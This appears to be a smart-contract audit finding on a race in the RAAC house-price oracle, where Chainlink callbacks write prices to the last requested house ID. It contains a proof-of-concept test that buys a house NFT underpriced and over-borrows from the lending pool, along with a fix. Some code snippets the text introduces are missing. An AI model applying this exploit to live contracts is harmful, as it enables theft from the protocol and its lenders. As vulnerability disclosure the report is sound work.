Prices are updated using asynchronous Chainlink Functions. If multiple price updates are requested, the callback will update the price for the last requested house ID each time. This results in brief periods where a given house may be significantly under or over priced.
On transaction 1, the oracle saves the requested house ID when a Chainlink Function request is queued:
Then on transaction 2, it uses the saved house ID in order to set the house's price that came back:
Both of these could lead to losses for the system, but 2) is more concerning since it is immediately profitable - the attacker walks away with crvUSD (vs 1 where they only have an NFT that still needs to be sold).
The POC below demonstrates both these impact scenarios.
It seems very likely that multiple house price update requests would be submitted as a batch, causing this issue to surface. Or maybe there is a issue with Chainlink's Decentralized Oracle Network that causes a pending request to take longer than usual and that leads to multiple price updates being requested.
The following git patch updates the e2e test file. The first couple "it" blocks demonstrate the issue simply. Then a couple tests show real world impact examples. Run with yarn run test:e2e.
diff --git a/test/e2e/protocols-tests.js b/test/e2e/protocols-tests.js
index 3040a7e..5f6e15e 100644
--- a/test/e2e/protocols-tests.js
+++ b/test/e2e/protocols-tests.js
@@ -345,4 +345,157 @@ describe('Protocol E2E Tests', function () {
expect(await contracts.stabilityPool.getUserDeposit(user1.address)).to.equal(0);
});
});
+
+ describe.only("BUG", () => {
+ const EXPENSIVE_HOUSE_PRICE = ethers.parseEther("3000000");
+ const CHEAP_HOUSE_PRICE = ethers.parseEther("150000");
+ let testOracle;
+ const CHEAP_HOUSE_TOKEN_ID = 1;
+ const EXPENSIVE_HOUSE_TOKEN_ID = 2;
+ let cheapHouseRequestId, expensiveHouseRequestId;
+
+ beforeEach(async () => {
+
+ {
+
+ const MockRouter = await ethers.getContractFactory("MockFunctionsRouter");
+ const mockRouter = await MockRouter.deploy();
+ const donId = ethers.encodeBytes32String("1");
+ const RAACHousePriceOracle = await ethers.getContractFactory("TestRAACHousePriceOracle");
+ testOracle = await RAACHousePriceOracle.deploy(await mockRouter.getAddress(), donId, await contracts.housePrices.getAddress());
+
+
+ await contracts.housePrices.setOracle(await testOracle.getAddress());
+ }
+
+
+ {
+ cheapHouseRequestId = await sendRequestForHousePrice(CHEAP_HOUSE_TOKEN_ID);
+ expensiveHouseRequestId = await sendRequestForHousePrice(EXPENSIVE_HOUSE_TOKEN_ID);
+ }
+ })
+
+
+ async function sendRequestForHousePrice(houseId) {
+
+ await testOracle.sendRequest(
+ "console.log('hello world'); return 129999.99;",
+ 1,
+ "0x",
+ [houseId.toString()],
+ [],
+ 1,
+ 200000
+ )
+ return await testOracle.s_lastRequestId();
+ }
+
+
+ async function fulfillRequestForHousePrice(requestId, housePrice) {
+ const responseBytes = new ethers.AbiCoder().encode(["uint256"], [housePrice]);
+ await testOracle.publicFulfillRequest(
+ requestId,
+ responseBytes,
+ "0x"
+ );
+ }
+
+ it("Asynchronous requests only populate the last request", async () => {
+
+ await fulfillRequestForHousePrice(cheapHouseRequestId, CHEAP_HOUSE_PRICE);
+ await fulfillRequestForHousePrice(expensiveHouseRequestId, EXPENSIVE_HOUSE_PRICE);
+
+ const [cheapHousePrice, ] = await contracts.housePrices.getLatestPrice(CHEAP_HOUSE_TOKEN_ID);
+ const [expensiveHousePrice, ] = await contracts.housePrices.getLatestPrice(EXPENSIVE_HOUSE_TOKEN_ID);
+
+
+ expect(cheapHousePrice).to.equal(0);
+ expect(expensiveHousePrice).to.equal(EXPENSIVE_HOUSE_PRICE);
+ })
+
+ it("Asynchronous requests set invalid interim prices", async () => {
+
+ await fulfillRequestForHousePrice(cheapHouseRequestId, CHEAP_HOUSE_PRICE);
+
+ const [expensiveHousePrice, ] = await contracts.housePrices.getLatestPrice(EXPENSIVE_HOUSE_TOKEN_ID);
+
+ expect(expensiveHousePrice).to.equal(CHEAP_HOUSE_PRICE);
+
+
+ await fulfillRequestForHousePrice(expensiveHouseRequestId, EXPENSIVE_HOUSE_PRICE);
+ })
+
+ describe("Purchasing a house NFT", () => {
+ let userBorrower;
+
+ beforeEach(async () => {
+ userBorrower = user2;
+
+
+ await contracts.crvUSD.mint(userBorrower.address, EXPENSIVE_HOUSE_PRICE - await contracts.crvUSD.balanceOf(userBorrower.address));
+ await contracts.crvUSD.connect(userBorrower).approve(contracts.nft.target, EXPENSIVE_HOUSE_PRICE);
+ })
+
+ it("Impact: Could buy at lower than expected price", async () => {
+
+ await fulfillRequestForHousePrice(cheapHouseRequestId, CHEAP_HOUSE_PRICE);
+
+
+ const tx = await contracts.nft.connect(userBorrower).mint(EXPENSIVE_HOUSE_TOKEN_ID, EXPENSIVE_HOUSE_PRICE);
+
+
+ await expect(tx).to.changeTokenBalance(contracts.crvUSD, userBorrower, -CHEAP_HOUSE_PRICE);
+ })
+
+ describe("Borrowing from the Lending Pool", () => {
+ let userLender;
+
+ beforeEach(async () => {
+
+ {
+ cheapHouseRequestId = await sendRequestForHousePrice(CHEAP_HOUSE_TOKEN_ID);
+ await fulfillRequestForHousePrice(cheapHouseRequestId, CHEAP_HOUSE_PRICE);
+ expensiveHouseRequestId = await sendRequestForHousePrice(EXPENSIVE_HOUSE_TOKEN_ID);
+ await fulfillRequestForHousePrice(expensiveHouseRequestId, EXPENSIVE_HOUSE_PRICE);
+ }
+
+
+ await contracts.nft.connect(userBorrower).mint(CHEAP_HOUSE_TOKEN_ID, CHEAP_HOUSE_PRICE);
+
+
+ await contracts.nft.connect(userBorrower).approve(contracts.lendingPool.target, CHEAP_HOUSE_TOKEN_ID);
+ await contracts.lendingPool.connect(userBorrower).depositNFT(CHEAP_HOUSE_TOKEN_ID);
+
+
+ {
+ userLender = user3;
+ const DEPOSIT_AMOUNT = ethers.parseEther('10000000');
+ await contracts.crvUSD.mint(userLender.address, DEPOSIT_AMOUNT);
+ await contracts.crvUSD.connect(userLender).approve(contracts.lendingPool.target, DEPOSIT_AMOUNT);
+ await contracts.lendingPool.connect(userLender).deposit(DEPOSIT_AMOUNT);
+ }
+
+
+ {
+ expensiveHouseRequestId = await sendRequestForHousePrice(EXPENSIVE_HOUSE_TOKEN_ID);
+ cheapHouseRequestId = await sendRequestForHousePrice(CHEAP_HOUSE_TOKEN_ID);
+ }
+ })
+
+ it("Impact: Could borrow more than expected", async () => {
+
+ await fulfillRequestForHousePrice(expensiveHouseRequestId, EXPENSIVE_HOUSE_PRICE);
+
+
+ const BORROW_AMOUNT = ethers.parseEther('2000000');
+ const tx = await contracts.lendingPool.connect(userBorrower).borrow(BORROW_AMOUNT);
+
+
+ await expect(tx).to.changeTokenBalance(contracts.crvUSD, userBorrower, BORROW_AMOUNT);
+
+
+ })
+ })
+ })
+ })
});
\ No newline at end of file
Update RAACHousePriceOracle.sol to parse both the houseId and its price from the message returned. This removes the need to track the lastHouseId and avoids any issues with having more than one outstanding request at a time.
When applied, all the POC tests above fail (since they were expecting bad state).
@@ -14,7 +14,6 @@ contract RAACHousePriceOracle is BaseChainlinkFunctionsOracle {
using StringUtils for string;
RAACHousePrices public housePrices;
- uint256 public lastHouseId;
event HousePriceUpdated(uint256 indexed houseId, uint256 price);
@@ -32,7 +31,7 @@ contract RAACHousePriceOracle is BaseChainlinkFunctionsOracle {
* @param args The arguments passed to sendRequest
*/
function _beforeFulfill(string[] calldata args) internal override {
- lastHouseId = args[0].stringToUint();
+ // no-op
}
/**
@@ -40,8 +39,8 @@ contract RAACHousePriceOracle is BaseChainlinkFunctionsOracle {
* @param response The response from the oracle
*/
function _processResponse(bytes memory response) internal override {
- uint256 price = abi.decode(response, (uint256));
- housePrices.setHousePrice(lastHouseId, price);
- emit HousePriceUpdated(lastHouseId, price);
+ (uint256 houseId, uint256 price) = abi.decode(response, (uint256, uint256));
+ housePrices.setHousePrice(houseId, price);
+ emit HousePriceUpdated(houseId, price);
}
}
When encoding the response in the Chainlink Function, it can respond with this format:
Some of the Chainlink Functions example contracts use the following in order to prevent this problem:
That approach causes fulfills to revert if they are not responding to the most recent request. This approach if added to the shared BaseChainlinkFunctionsOracle would ensure that the invalid house prices are never assigned. However this approach would also prevent requesting multiple house price updates in parallel, which may be a desirable feature. Additionally BaseChainlinkFunctionsOracle works well for the RAACPrimeRateOracle use case and would work for this use case as well with the above fix - therefor that base implementation (which is out of scope) is fine so long as it's integrated with correctly for the given use case.
